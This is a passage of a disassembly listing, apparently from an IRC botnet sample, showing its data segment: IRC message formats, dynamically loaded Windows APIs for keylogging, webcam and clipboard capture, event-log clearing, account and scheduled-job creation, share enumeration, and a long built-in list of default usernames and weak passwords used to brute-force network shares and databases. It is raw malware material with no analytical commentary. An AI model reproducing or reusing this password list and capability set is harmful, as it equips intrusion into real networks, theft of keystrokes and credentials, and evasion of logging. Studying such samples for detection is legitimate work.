33031DE5h, 0AA0A4C5Fh dd 0DD0D7CC9h, 5005713Ch, 270241AAh, 0BE0B1010h, 0C90C2086h dd 5768B525h, 206F85B3h, 0B966D409h, 0CE61E49Fh, 5EDEF90Eh dd 29D9C998h, 0B0D09822h, 0C7D7A8B4h, 59B33D17h, 2EB40D81h dd 0B7BD5C3Bh, 0C0BA6CADh, 0EDB88320h, 9ABFB3B6h, 3B6E20Ch dd 74B1D29Ah, 0EAD54739h, 9DD277AFh, 4DB2615h, 73DC1683h dd 0E3630B12h, 94643B84h, 0D6D6A3Eh, 7A6A5AA8h, 0E40ECF0Bh dd 9309FF9Dh, 0A00AE27h, 7D079EB1h, 0F00F9344h, 8708A3D2h dd 1E01F268h, 6906C2FEh, 0F762575Dh, 806567CBh, 196C3671h dd 6E6B06E7h, 0FED41B76h, 89D32BE0h, 10DA7A5Ah, 67DD4ACCh dd 0F9B9DF6Fh, 8EBEEFF9h, 17B7BE43h, 60B08ED5h, 0D6D6A3E8h dd 0A1D1937Eh, 38D8C2C4h, 4FDFF252h, 0D1BB67F1h, 0A6BC5767h dd 3FB506DDh, 48B2364Bh, 0D80D2BDAh, 0AF0A1B4Ch, 36034AF6h dd 41047A60h, 0DF60EFC3h, 0A867DF55h, 316E8EEFh, 4669BE79h dd 0CB61B38Ch, 0BC66831Ah, 256FD2A0h, 5268E236h, 0CC0C7795h dd 0BB0B4703h, 220216B9h, 5505262Fh, 0C5BA3BBEh, 0B2BD0B28h dd 2BB45A92h, 5CB36A04h, 0C2D7FFA7h, 0B5D0CF31h, 2CD99E8Bh dd 5BDEAE1Dh, 9B64C2B0h, 0EC63F226h, 756AA39Ch, 26D930Ah dd 9C0906A9h, 0EB0E363Fh, 72076785h, 5005713h, 95BF4A82h dd 0E2B87A14h, 7BB12BAEh, 0CB61B38h, 92D28E9Bh, 0E5D5BE0Dh dd 7CDCEFB7h, 0BDBDF21h, 86D3D2D4h, 0F1D4E242h, 68DDB3F8h dd 1FDA836Eh, 81BE16CDh, 0F6B9265Bh, 6FB077E1h, 18B74777h dd 88085AE6h, 0FF0F6A70h, 66063BCAh, 11010B5Ch, 8F659EFFh dd 0F862AE69h, 616BFFD3h, 166CCF45h, 0A00AE278h, 0D70DD2EEh dd 4E048354h, 3903B3C2h, 0A7672661h, 0D06016F7h, 4969474Dh dd 3E6E77DBh, 0AED16A4Ah, 0D9D65ADCh, 40DF0B66h, 37D83BF0h dd 0A9BCAE53h, 0DEBB9EC5h, 47B2CF7Fh, 30B5FFE9h, 0BDBDF21Ch dd 0CABAC28Ah, 53B39330h, 24B4A3A6h, 0BAD03605h, 0CDD70693h dd 54DE5729h, 23D967BFh, 0B3667A2Eh, 0C4614AB8h, 5D681B02h dd 2A6F2B94h, 0B40BBE37h, 0C30C8EA1h, 5A05DF1Bh, 2D02EF8Dh byte_42B630 db 72h, 62h, 0 ; DATA XREF: seg000:00411AA1o byte_42B633 db 0 ; DATA XREF: seg000:00401171o ; sub_40274D+1CFDo ... aSSS db '%s %s :%s',0Dh,0Ah,0 ; DATA XREF: sub_40123B+58o aS db '%s',0 ; DATA XREF: sub_40123B+35o ; sub_40274D+659o ... align 4 aPrivmsg db 'PRIVMSG',0 ; DATA XREF: sub_40123B+16o ; sub_40274D+592o aNotice db 'NOTICE',0 ; DATA XREF: sub_40123B+Fo ; sub_40274D+5A1o align 4 aCapgetdriverde db 'capGetDriverDescriptionA',0 ; DATA XREF: sub_4012D6+C7Fo align 10h aCapcreatecaptu db 'capCreateCaptureWindowA',0 ; DATA XREF: sub_4012D6+C77o aAvicap32_dll db 'avicap32.dll',0 ; DATA XREF: sub_4012D6:loc_401F40o align 4 aSqldisconnect db 'SQLDisconnect',0 ; DATA XREF: sub_4012D6+C15o align 4 aSqlfreehandle db 'SQLFreeHandle',0 ; DATA XREF: sub_4012D6+C08o align 4 aSqlallochandle db 'SQLAllocHandle',0 ; DATA XREF: sub_4012D6+BFBo align 4 aSqlexecdirect db 'SQLExecDirect',0 ; DATA XREF: sub_4012D6+BEEo align 4 aSqlsetenvattr db 'SQLSetEnvAttr',0 ; DATA XREF: sub_4012D6+BE1o align 4 aSqldriverconne db 'SQLDriverConnect',0 ; DATA XREF: sub_4012D6+BD9o align 4 aOdbc32_dll db 'odbc32.dll',0 ; DATA XREF: sub_4012D6:loc_401EA2o align 4 aShchangenotify db 'SHChangeNotify',0 ; DATA XREF: sub_4012D6+B97o align 4 aShellexecutea db 'ShellExecuteA',0 ; DATA XREF: sub_4012D6+B8Fo align 4 aShell32_dll db 'shell32.dll',0 ; DATA XREF: sub_4012D6:loc_401E58o aWnetcancelco_0 db 'WNetCancelConnection2W',0 ; DATA XREF: sub_4012D6+B3Do align 4 aWnetcancelconn db 'WNetCancelConnection2A',0 ; DATA XREF: sub_4012D6+B30o align 4 aWnetaddconne_0 db 'WNetAddConnection2W',0 ; DATA XREF: sub_4012D6+B23o aWnetaddconnect db 'WNetAddConnection2A',0 ; DATA XREF: sub_4012D6+B1Bo aMpr_dll db 'mpr.dll',0 ; DATA XREF: sub_4012D6:loc_401DE4o aDeleteipnetent db 'DeleteIpNetEntry',0 ; DATA XREF: sub_4012D6+AD9o align 4 aGetipnettable db 'GetIpNetTable',0 ; DATA XREF: sub_4012D6+AD1o align 4 aIphlpapi_dll db 'iphlpapi.dll',0 ; DATA XREF: sub_4012D6:loc_401D9Ao align 4 aDnsflushreso_0 db 'DnsFlushResolverCacheEntry_A',0 ; DATA XREF: sub_4012D6+A8Fo align 4 aDnsflushresolv db 'DnsFlushResolverCache',0 ; DATA XREF: sub_4012D6+A87o align 10h aDnsapi_dll db 'dnsapi.dll',0 ; DATA XREF: sub_4012D6:loc_401D50o align 4 aNetwkstagetinf db 'NetWkstaGetInfo',0 ; DATA XREF: sub_4012D6+9F9o aNetmessagebuff db 'NetMessageBufferSend',0 ; DATA XREF: sub_4012D6+9ECo ; sub_41B24B+47o align 4 aNetusergetinfo db 'NetUserGetInfo',0 ; DATA XREF: sub_4012D6+9DFo align 4 aNetuserenum db 'NetUserEnum',0 ; DATA XREF: sub_4012D6+9D2o aNetuserdel db 'NetUserDel',0 ; DATA XREF: sub_4012D6+9C5o align 4 aNetuseradd db 'NetUserAdd',0 ; DATA XREF: sub_4012D6+9B8o align 4 aNetremotetod db 'NetRemoteTOD',0 ; DATA XREF: sub_4012D6+9ABo align 4 aNetapibufferfr db 'NetApiBufferFree',0 ; DATA XREF: sub_4012D6+99Eo align 4 aNetschedulejob db 'NetScheduleJobAdd',0 ; DATA XREF: sub_4012D6+991o align 10h aNetshareenum db 'NetShareEnum',0 ; DATA XREF: sub_4012D6+984o align 10h aNetsharedel db 'NetShareDel',0 ; DATA XREF: sub_4012D6+977o aNetshareadd db 'NetShareAdd',0 ; DATA XREF: sub_4012D6+96Fo aNetapi32_dll db 'netapi32.dll',0 ; DATA XREF: sub_4012D6:loc_401C34o ; sub_41B24B+3Ao align 4 aIcmpsendecho db 'IcmpSendEcho',0 ; DATA XREF: sub_4012D6+921o align 4 aIcmpclosehandl db 'IcmpCloseHandle',0 ; DATA XREF: sub_4012D6+914o aIcmpcreatefile db 'IcmpCreateFile',0 ; DATA XREF: sub_4012D6+90Co align 4 aIcmp_dll db 'icmp.dll',0 ; DATA XREF: sub_4012D6:loc_401BD5o align 4 aMozilla4_0Comp db 'Mozilla/4.0 (compatible)',0 ; DATA XREF: sub_4012D6+8D2o align 10h aInternetcloseh db 'InternetCloseHandle',0 ; DATA XREF: sub_4012D6+860o aInternetreadfi db 'InternetReadFile',0 ; DATA XREF: sub_4012D6+853o align 4 aInternetcracku db 'InternetCrackUrlA',0 ; DATA XREF: sub_4012D6+846o align 4 aInternetopenur db 'InternetOpenUrlA',0 ; DATA XREF: sub_4012D6+839o align 10h aInternetopena db 'InternetOpenA',0 ; DATA XREF: sub_4012D6+82Co align 10h aInternetconnec db 'InternetConnectA',0 ; DATA XREF: sub_4012D6+81Fo align 4 aHttpsendreques db 'HttpSendRequestA',0 ; DATA XREF: sub_4012D6+812o align 4 aHttpopenreques db 'HttpOpenRequestA',0 ; DATA XREF: sub_4012D6+805o align 4 aInternetgetc_0 db 'InternetGetConnectedStateEx',0 ; DATA XREF: sub_4012D6+7F8o aInternetgetcon db 'InternetGetConnectedState',0 ; DATA XREF: sub_4012D6+7F0o align 4 aWininet_dll db 'wininet.dll',0 ; DATA XREF: sub_4012D6:loc_401AB5o aClosesocket db 'closesocket',0 ; DATA XREF: sub_4012D6+6A6o aGetpeername db 'getpeername',0 ; DATA XREF: sub_4012D6+699o aGethostbyaddr db 'gethostbyaddr',0 ; DATA XREF: sub_4012D6+68Co align 4 aGethostbyname db 'gethostbyname',0 ; DATA XREF: sub_4012D6+67Fo align 4 aGethostname db 'gethostname',0 ; DATA XREF: sub_4012D6+672o aGetsockname db 'getsockname',0 ; DATA XREF: sub_4012D6+665o aSetsockopt db 'setsockopt',0 ; DATA XREF: sub_4012D6+658o align 4 aAccept db 'accept',0 ; DATA XREF: sub_4012D6+64Bo align 4 aListen db 'listen',0 ; DATA XREF: sub_4012D6+63Eo align 4 aSelect db 'select',0 ; DATA XREF: sub_4012D6+631o align 4 aBind db 'bind',0 ; DATA XREF: sub_4012D6+629o align 4 aRecvfrom db 'recvfrom',0 ; DATA XREF: sub_4012D6+617o align 4 aRecv db 'recv',0 ; DATA XREF: sub_4012D6+60Ao align 10h aSendto db 'sendto',0 ; DATA XREF: sub_4012D6+5FDo align 4 aSend db 'send',0 ; DATA XREF: sub_4012D6+5F0o ; sub_40274D+44AAo align 10h aNtohl db 'ntohl',0 ; DATA XREF: sub_4012D6+5E3o align 4 aNtohs db 'ntohs',0 ; DATA XREF: sub_4012D6+5D6o align 10h aHtonl db 'htonl',0 ; DATA XREF: sub_4012D6+5C9o align 4 aHtons db 'htons',0 ; DATA XREF: sub_4012D6+5BCo align 10h aInet_addr db 'inet_addr',0 ; DATA XREF: sub_4012D6+5AFo align 4 aInet_ntoa db 'inet_ntoa',0 ; DATA XREF: sub_4012D6+5A2o align 4 aConnect db 'connect',0 ; DATA XREF: sub_4012D6+595o aIoctlsocket db 'ioctlsocket',0 ; DATA XREF: sub_4012D6+588o aSocket db 'socket',0 ; DATA XREF: sub_4012D6+57Bo align 4 aWsacleanup db 'WSACleanup',0 ; DATA XREF: sub_4012D6+56Eo align 10h aWsagetlasterro db 'WSAGetLastError',0 ; DATA XREF: sub_4012D6+561o aWsaioctl db 'WSAIoctl',0 ; DATA XREF: sub_4012D6+554o align 4 a__wsafdisset db '__WSAFDIsSet',0 ; DATA XREF: sub_4012D6+547o align 4 aWsaasyncselect db 'WSAAsyncSelect',0 ; DATA XREF: sub_4012D6+53Ao align 4 aWsasocketa db 'WSASocketA',0 ; DATA XREF: sub_4012D6+52Do align 4 aWsastartup db 'WSAStartup',0 ; DATA XREF: sub_4012D6+525o align 4 aWs2_32_dll db 'ws2_32.dll',0 ; DATA XREF: sub_4012D6+514o align 10h aDeleteobject db 'DeleteObject',0 ; DATA XREF: sub_4012D6+4A1o align 10h aDeletedc db 'DeleteDC',0 ; DATA XREF: sub_4012D6+494o align 4 aBitblt db 'BitBlt',0 ; DATA XREF: sub_4012D6+487o align 4 aSelectobject db 'SelectObject',0 ; DATA XREF: sub_4012D6+47Ao align 4 aGetdibcolortab db 'GetDIBColorTable',0 ; DATA XREF: sub_4012D6+46Do align 4 aGetdevicecaps db 'GetDeviceCaps',0 ; DATA XREF: sub_4012D6+460o align 4 aCreatecompatib db 'CreateCompatibleDC',0 ; DATA XREF: sub_4012D6+453o align 4 aCreatedibsecti db 'CreateDIBSection',0 ; DATA XREF: sub_4012D6+446o align 10h aCreatedca db 'CreateDCA',0 ; DATA XREF: sub_4012D6+43Eo align 4 aGdi32_dll db 'gdi32.dll',0 ; DATA XREF: sub_4012D6:loc_401703o align 4 aGetusernamea db 'GetUserNameA',0 ; DATA XREF: sub_4012D6:loc_4016DBo align 4 aIsvalidsecurit db 'IsValidSecurityDescriptor',0 ; DATA XREF: sub_4012D6+3ADo align 4 aEnumservicesst db 'EnumServicesStatusA',0 ; DATA XREF: sub_4012D6+3A0o aCloseserviceha db 'CloseServiceHandle',0 ; DATA XREF: sub_4012D6+393o align 4 aDeleteservice db 'DeleteService',0 ; DATA XREF: sub_4012D6+386o align 4 aControlservice db 'ControlService',0 ; DATA XREF: sub_4012D6+379o align 4 aStartservicea db 'StartServiceA',0 ; DATA XREF: sub_4012D6+36Co align 4 aOpenservicea db 'OpenServiceA',0 ; DATA XREF: sub_4012D6+35Fo align 4 aOpenscmanagera db 'OpenSCManagerA',0 ; DATA XREF: sub_4012D6:loc_40162Do align 4 aAdjusttokenpri db 'AdjustTokenPrivileges',0 ; DATA XREF: sub_4012D6+327o align 4 aLookupprivileg db 'LookupPrivilegeValueA',0 ; DATA XREF: sub_4012D6+31Ao align 4 aOpenprocesstok db 'OpenProcessToken',0 ; DATA XREF: sub_4012D6:loc_4015E8o align 10h aCleareventloga db 'ClearEventLogA',0 ; DATA XREF: sub_4012D6+2C6o align 10h aOpeneventloga db 'OpenEventLogA',0 ; DATA XREF: sub_4012D6+2B9o align 10h aRegclosekey db 'RegCloseKey',0 ; DATA XREF: sub_4012D6+2ACo aRegdeletevalue db 'RegDeleteValueA',0 ; DATA XREF: sub_4012D6+29Fo aRegqueryvaluee db 'RegQueryValueExA',0 ; DATA XREF: sub_4012D6+292o align 10h aRegsetvalueexa db 'RegSetValueExA',0 ; DATA XREF: sub_4012D6+285o align 10h aRegcreatekeyex db 'RegCreateKeyExA',0 ; DATA XREF: sub_4012D6+278o aRegopenkeyexa db 'RegOpenKeyExA',0 ; DATA XREF: sub_4012D6+270o align 10h aAdvapi32_dll db 'advapi32.dll',0 ; DATA XREF: sub_4012D6:loc_401535o align 10h aGetforegroundw db 'GetForegroundWindow',0 ; DATA XREF: sub_4012D6+21Ao aGetwindowtexta db 'GetWindowTextA',0 ; DATA XREF: sub_4012D6+20Do align 4 aGetkeystate db 'GetKeyState',0 ; DATA XREF: sub_4012D6+200o aGetasynckeysta db 'GetAsyncKeyState',0 ; DATA XREF: sub_4012D6:loc_4014CEo align 4 aExitwindowsex db 'ExitWindowsEx',0 ; DATA XREF: sub_4012D6+1A0o align 4 aCloseclipboard db 'CloseClipboard',0 ; DATA XREF: sub_4012D6+193o align 4 aGetclipboardda db 'GetClipboardData',0 ; DATA XREF: sub_4012D6+186o align 4 aOpenclipboard db 'OpenClipboard',0 ; DATA XREF: sub_4012D6+179o align 4 aDestroywindow db 'DestroyWindow',0 ; DATA XREF: sub_4012D6+16Co align 4 aIswindow db 'IsWindow',0 ; DATA XREF: sub_4012D6+15Fo align 4 aFindwindowa db 'FindWindowA',0 ; DATA XREF: sub_4012D6+152o aSendmessagea db 'SendMessageA',0 ; DATA XREF: sub_4012D6+14Ao align 10h aUser32_dll db 'user32.dll',0 ; DATA XREF: sub_4012D6:loc_40140Bo ; sub_428710+13o align 4 aRegisterservic db 'RegisterServiceProcess',0 ; DATA XREF: sub_4012D6:loc_4013DEo align 4 aQueryperform_0 db 'QueryPerformanceFrequency',0 ; DATA XREF: sub_4012D6+A0o align 10h aQueryperforman db 'QueryPerformanceCounter',0 ; DATA XREF: sub_4012D6+93o aSearchpatha db 'SearchPathA',0 ; DATA XREF: sub_4012D6+86o aGetdrivetypea db 'GetDriveTypeA',0 ; DATA XREF: sub_4012D6+79o align 4 aGetlogicaldriv db 'GetLogicalDriveStringsA',0 ; DATA XREF: sub_4012D6+6Co aGetdiskfreespa db 'GetDiskFreeSpaceExA',0 ; DATA XREF: sub_4012D6+5Fo aModule32first db 'Module32First',0 ; DATA XREF: sub_4012D6+52o align 10h aProcess32next db 'Process32Next',0 ; DATA XREF: sub_4012D6+45o align 10h aProcess32first db 'Process32First',0 ; DATA XREF: sub_4012D6+38o align 10h aCreatetoolhelp db 'CreateToolhelp32Snapshot',0 ; DATA XREF: sub_4012D6+2Bo align 4 aSeterrormode db 'SetErrorMode',0 ; DATA XREF: sub_4012D6+23o align 4 aKernel32_dll db 'kernel32.dll',0 ; DATA XREF: sub_4012D6+Ao align 4 unk_42BF4C db 2Dh ; - ; DATA XREF: sub_401F92+2F2o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aDllTestComplet db 'DLL test complete.',0 align 4 aAvicap32_dllFa db 'Avicap32.dll failed. <%d>',0 ; DATA XREF: sub_401F92+2CCo align 4 aOdbc32_dllFail db 'Odbc32.dll failed. <%d>',0 ; DATA XREF: sub_401F92+298o aShell32_dllFai db 'Shell32.dll failed. <%d>',0 ; DATA XREF: sub_401F92+264o align 4 aMpr32_dllFaile db 'Mpr32.dll failed. <%d>',0 ; DATA XREF: sub_401F92+230o align 4 aIphlpapi_dllFa db 'Iphlpapi.dll failed. <%d>',0 ; DATA XREF: sub_401F92+1FCo align 10h aDnsapi_dllFail db 'Dnsapi.dll failed. <%d>',0 ; DATA XREF: sub_401F92+1C8o aNetapi32_dllFa db 'Netapi32.dll failed. <%d>',0 ; DATA XREF: sub_401F92+194o align 4 aIcmp_dllFailed db 'Icmp.dll failed. <%d>',0 ; DATA XREF: sub_401F92+160o align 4 aWininet_dllFai db 'Wininet.dll failed. <%d>',0 ; DATA XREF: sub_401F92+12Co align 4 aWs2_32_dllFail db 'Ws2_32.dll failed. <%d>',0 ; DATA XREF: sub_401F92+F8o aGdi32_dllFaile db 'Gdi32.dll failed. <%d>',0 ; DATA XREF: sub_401F92+C4o align 4 aAdvapi32_dllFa db 'Advapi32.dll failed. <%d>',0 ; DATA XREF: sub_401F92+90o align 4 aUser32_dllFail db 'User32.dll failed. <%d>',0 ; DATA XREF: sub_401F92+5Co aKernel32_dllFa db 'Kernel32.dll failed. <%d>',0 ; DATA XREF: sub_401F92+28o align 4 a__0: ; DATA XREF: seg000:0041108Co ; sub_412135+24Co unicode 0, <.>,0 unk_42C0DC db 2Dh ; - ; DATA XREF: sub_4022F5:loc_4023C2o db 3, 34h, 2 db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2 db 3, 2Dh, 20h aNotSupportedBy db 'not supported by this system',0 align 4 unk_42C10C db 2Dh ; - ; DATA XREF: sub_4022F5:loc_402393o db 3, 34h, 2 db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2 db 3, 2Dh, 20h aUnableToAlloca db 'unable to allocate ARP cache',0 align 4 unk_42C13C db 2Dh ; - ; DATA XREF: sub_4022F5:loc_402349o db 3, 34h, 2 db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2 db 3, 2Dh, 20h aArpCacheIsEmpt db 'ARP cache is empty',0 align 10h unk_42C160 db 2Dh ; - ; DATA XREF: sub_4022F5+44o db 3, 34h, 2 db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2 db 3, 2Dh, 20h aErrorGettingAr db 'error getting ARP cache: %d',0 aD_D_D_D db '%d.%d.%d.%d',0 ; DATA XREF: sub_4023C9+41o ; seg000:0040BBF2o ... aIntranet db 'intranet',0 ; DATA XREF: seg002:0043C48Co align 4 aLan db 'lan',0 ; DATA XREF: seg002:0043C484o aMain db 'main',0 ; DATA XREF: seg002:0043C480o align 10h aWinpass db 'winpass',0 ; DATA XREF: seg002:0043C47Co aBlank db 'blank',0 ; DATA XREF: seg002:0043C478o align 10h aOffice db 'office',0 ; DATA XREF: seg002:0043C474o align 4 aControl db 'control',0 ; DATA XREF: seg002:0043C470o aXp db 'xp',0 ; DATA XREF: seg002:0043C46Co align 4 aNokia db 'nokia',0 ; DATA XREF: seg002:0043C468o align 4 aHp db 'hp',0 ; DATA XREF: seg002:0043C464o align 10h aSiemens db 'siemens',0 ; DATA XREF: seg002:0043C460o aCompaq db 'compaq',0 ; DATA XREF: seg002:0043C45Co align 10h aDell db 'dell',0 ; DATA XREF: seg002:0043C458o align 4 aCisco_0 db 'cisco',0 ; DATA XREF: seg000:0040C81Bo ; seg002:0043C454o align 10h aIbm db 'ibm',0 ; DATA XREF: seg002:0043C450o aOrainstall db 'orainstall',0 ; DATA XREF: seg002:0043C448o align 10h aSqlpassoainsta db 'sqlpassoainstall',0 ; DATA XREF: seg002:0043C444o align 4 aSql db 'sql',0 ; DATA XREF: seg002:0043C440o aSa db 'sa',0 ; DATA XREF: sub_40274D+1A13o ; seg002:0043C43Co align 4 aDb1234 db 'db1234',0 ; DATA XREF: seg002:0043C438o align 4 aDb1 db 'db1',0 ; DATA XREF: seg002:0043C430o aDatabasepasswo db 'databasepassword',0 ; DATA XREF: seg002:0043C42Co align 4 aData db 'data',0 ; DATA XREF: seg002:0043C428o align 4 aDatabasepass db 'databasepass',0 ; DATA XREF: seg002:0043C424o align 4 aDbpassword db 'dbpassword',0 ; DATA XREF: seg002:0043C420o align 10h aDbpass db 'dbpass',0 ; DATA XREF: seg002:0043C41Co align 4 aAccess db 'access',0 ; DATA XREF: seg002:0043C418o align 10h aDomainpassword db 'domainpassword',0 ; DATA XREF: seg002:0043C410o align 10h aDomainpass db 'domainpass',0 ; DATA XREF: seg002:0043C40Co align 4 aDomain db 'domain',0 ; DATA XREF: seg002:0043C408o align 4 aHello db 'hello',0 ; DATA XREF: seg002:0043C404o align 4 aHell db 'hell',0 ; DATA XREF: seg002:0043C400o align 4 aGod db 'god',0 ; DATA XREF: seg002:0043C3FCo aSex db 'sex',0 ; DATA XREF: seg002:0043C3F8o ; seg002:off_4431D8o aSlut db 'slut',0 ; DATA XREF: seg002:0043C3F4o align 4 aBitch db 'bitch',0 ; DATA XREF: seg002:0043C3F0o align 4 aFuck db 'fuck',0 ; DATA XREF: seg002:0043C3ECo align 4 aExchange db 'exchange',0 ; DATA XREF: seg002:0043C3E8o align 10h aBackup db 'backup',0 ; DATA XREF: seg002:0043C3E4o align 4 aTechnical db 'technical',0 ; DATA XREF: seg002:0043C3E0o align 4 aLoginpass db 'loginpass',0 ; DATA XREF: seg002:0043C3DCo align 10h aLogin db 'login',0 ; DATA XREF: sub_40274D+9B8o ; seg002:0043C3D8o align 4 aMary db 'mary',0 ; DATA XREF: seg002:0043C3D4o align 10h aKatie db 'katie',0 ; DATA XREF: seg002:0043C3D0o align 4 aKate db 'kate',0 ; DATA XREF: seg002:0043C3C8o align 10h aGeorge db 'george',0 ; DATA XREF: seg002:0043C3C4o align 4 aEric db 'eric',0 ; DATA XREF: seg002:0043C3C0o align 10h aChris db 'chris',0 ; DATA XREF: seg002:0043C3BCo align 4 aIan db 'ian',0 ; DATA XREF: seg002:0043C3B8o aNeil db 'neil',0 ; DATA XREF: seg002:0043C3B4o align 4 aLee db 'lee',0 ; DATA XREF: seg002:0043C3B0o aBrian db 'brian',0 ; DATA XREF: seg002:0043C3ACo align 10h aSusan db 'susan',0 ; DATA XREF: seg002:0043C3A4o align 4 aSue db 'sue',0 ; DATA XREF: seg002:0043C3A0o aSam db 'sam',0 ; DATA XREF: seg002:0043C39Co aLuke db 'luke',0 ; DATA XREF: seg002:0043C398o align 4 aPeter db 'peter',0 ; DATA XREF: seg002:0043C394o ; seg002:0043C3A8o align 10h aJohn db 'john',0 ; DATA XREF: seg002:0043C390o align 4 aMike db 'mike',0 ; DATA XREF: seg002:0043C38Co align 10h aBill db 'bill',0 ; DATA XREF: seg002:0043C388o align 4 aFred db 'fred',0 ; DATA XREF: seg002:0043C384o align 10h aJoe db 'joe',0 ; DATA XREF: seg002:0043C380o aJen db 'jen',0 ; DATA XREF: seg002:0043C37Co aBob db 'bob',0 ; DATA XREF: seg002:0043C378o ; seg002:0043C3CCo aQwe db 'qwe',0 ; DATA XREF: seg002:0043C374o aZxc db 'zxc',0 ; DATA XREF: seg002:0043C370o aAsd db 'asd',0 ; DATA XREF: seg002:0043C36Co aQaz db 'qaz',0 ; DATA XREF: seg002:0043C368o aWin2000 db 'win2000',0 ; DATA XREF: seg002:0043C364o aWinnt db 'winnt',0 ; DATA XREF: seg002:0043C360o align 4 aWinxp db 'winxp',0 ; DATA XREF: seg002:0043C35Co align 4 aWin2k db 'win2k',0 ; DATA XREF: seg002:0043C358o align 4 aWin98 db 'win98',0 ; DATA XREF: seg002:0043C354o align 4 aWindows db 'windows',0 ; DATA XREF: seg002:0043C350o aOeminstall db 'oeminstall',0 ; DATA XREF: seg002:0043C34Co align 4 aOemuser db 'oemuser',0 ; DATA XREF: seg002:0043C348o aOem db 'oem',0 ; DATA XREF: seg002:0043C344o aUser_0 db 'user',0 ; DATA XREF: sub_40274D+4422o ; seg002:0043C340o align 4 aHomeuser db 'homeuser',0 ; DATA XREF: seg002:0043C33Co align 4 aHome db 'home',0 ; DATA XREF: seg002:0043C338o align 10h aAccounting db 'accounting',0 ; DATA XREF: seg002:0043C334o align 4 aAccounts db 'accounts',0 ; DATA XREF: seg002:0043C330o align 4 aInternet db 'internet',0 ; DATA XREF: seg002:0043C32Co ; seg002:0043C488o align 4 aWww db 'www',0 ; DATA XREF: seg002:0043C328o aWeb db 'web',0 ; DATA XREF: seg002:0043C324o aOutlook db 'outlook',0 ; DATA XREF: seg002:0043C320o aMail db 'mail',0 ; DATA XREF: seg002:0043C31Co align 4 aQwerty db 'qwerty',0 ; DATA XREF: seg002:0043C318o align 4 aNull_1 db 'null',0 ; DATA XREF: seg002:0043C314o align 4 aServer_1 db 'server',0 ; DATA XREF: sub_40274D+3BA6o ; seg002:0043C30Co align 4 aSystem db 'system',0 ; DATA XREF: seg002:0043C308o align 4 aChangeme db 'changeme',0 ; DATA XREF: seg002:0043C300o align 4 aLinux db 'linux',0 ; DATA XREF: seg002:0043C2FCo align 10h aUnix db 'unix',0 ; DATA XREF: seg002:0043C2F8o align 4 aDemo db 'demo',0 ; DATA XREF: seg002:0043C2F4o align 10h aNone db 'none',0 ; DATA XREF: seg002:0043C2F0o align 4 aTest db 'test',0 ; DATA XREF: seg002:0043C2E8o align 10h a2004 db '2004',0 ; DATA XREF: seg002:0043C2E4o align 4 a2003 db '2003',0 ; DATA XREF: sub_41D779+98o ; seg002:0043C2E0o align 10h a2002 db '2002',0 ; DATA XREF: seg002:0043C2DCo align 4 a2001 db '2001',0 ; DATA XREF: seg002:0043C2D8o align 10h a2000 db '2000',0 ; DATA XREF: seg002:0043C2D4o align 4 a1234567890 db '1234567890',0 ; DATA XREF: seg002:0043C2D0o align 4 a123456789 db '123456789',0 ; DATA XREF: seg002:0043C2CCo align 10h a12345678 db '12345678',0 ; DATA XREF: seg002:0043C2C8o align 4 a1234567 db '1234567',0 ; DATA XREF: seg002:0043C2C4o a123456 db '123456',0 ; DATA XREF: seg002:0043C2C0o align 4 a12345 db '12345',0 ; DATA XREF: seg002:0043C2BCo align 4 a1234 db '1234',0 ; DATA XREF: seg002:0043C2B8o align 4 a123 db '123',0 ; DATA XREF: seg002:0043C2B4o a12 db '12',0 ; DATA XREF: seg002:0043C2B0o align 4 a1: ; DATA XREF: seg002:0043C2ACo unicode 0, <1>,0 a007 db '007',0 ; DATA XREF: seg002:0043C2A8o aPwd db 'pwd',0 ; DATA XREF: seg002:0043C2A4o aPass_0 db 'pass',0 ; DATA XREF: seg002:0043C2A0o align 4 aPass1234 db 'pass1234',0 ; DATA XREF: seg002:0043C29Co align 4 aPasswd db 'passwd',0 ; DATA XREF: seg002:0043C298o align 4 aPassword db 'password',0 ; DATA XREF: seg002:0043C294o align 4 aPassword1 db 'password1',0 ; DATA XREF: seg002:0043C290o align 4 aAdm db 'adm',0 ; DATA XREF: seg002:0043C28Co aDb2 db 'db2',0 ; DATA XREF: seg002:0043C268o ; seg002:0043C434o aOracle db 'oracle',0 ; DATA XREF: seg002:0043C264o ; seg002:0043C44Co align 4 aDba db 'dba',0 ; DATA XREF: seg002:0043C260o aDatabase db 'database',0 ; DATA XREF: seg002:0043C25Co ; seg002:0043C414o align 4 aDefault db 'default',0 ; DATA XREF: seg002:0043C258o ; seg002:0043C304o aGuest_0 db 'guest',0 ; DATA XREF: seg002:0043C254o ; seg002:0043C2ECo align 4 aWwwadmin db 'wwwadmin',0 ; DATA XREF: seg002:0043C250o align 10h aTeacher db 'teacher',0 ; DATA XREF: seg002:0043C24Co ; seg002:0043C494o aStudent db 'student',0 ; DATA XREF: seg002:0043C248o ; seg002:0043C490o aOwner db 'owner',0 ; DATA XREF: seg002:0043C244o align 4 aComputer db 'computer',0 ; DATA XREF: seg002:0043C240o align 4 aRoot db 'root',0 ; DATA XREF: seg002:0043C23Co ; seg002:0043C310o align 4 aStaff db 'staff',0 ; DATA XREF: seg002:0043C238o ; seg002:0043C498o align 4 aAdmin_0 db 'admin',0 ; DATA XREF: seg002:0043C234o ; seg002:0043C288o align 4 aAdmins db 'admins',0 ; DATA XREF: seg002:0043C230o ; seg002:0043C284o align 4 aAdministrat db 'administrat',0 ; DATA XREF: seg002:0043C22Co ; seg002:0043C280o aAdministrateur db 'administrateur',0 ; DATA XREF: seg002:0043C228o ; seg002:0043C27Co align 10h aAdministrador db 'administrador',0 ; DATA XREF: seg002:0043C224o ; seg002:0043C278o align 10h aAdministrato_0 db 'administrator',0 ; DATA XREF: seg002:off_43C220o ; seg002:0043C274o byte_42C60E db 0 ; DATA XREF: sub_40274D+3222o ; sub_40274D+32F9o ... byte_42C60F db 0 ; DATA XREF: sub_40274D+35FBo ; sub_40274D+3634o ... aMircV6_16Khale db 'mIRC v6.16 Khaled Mardam-Bey',0 ; DATA XREF: seg002:0043C174o align 10h aMircV6_14Khale db 'mIRC v6.14 Khaled Mardam-Bey',0 ; DATA XREF: seg002:0043C170o align 10h aMircV6_12Khale db 'mIRC v6.12 Khaled Mardam-Bey',0 ; DATA XREF: seg002:0043C16Co align 10h 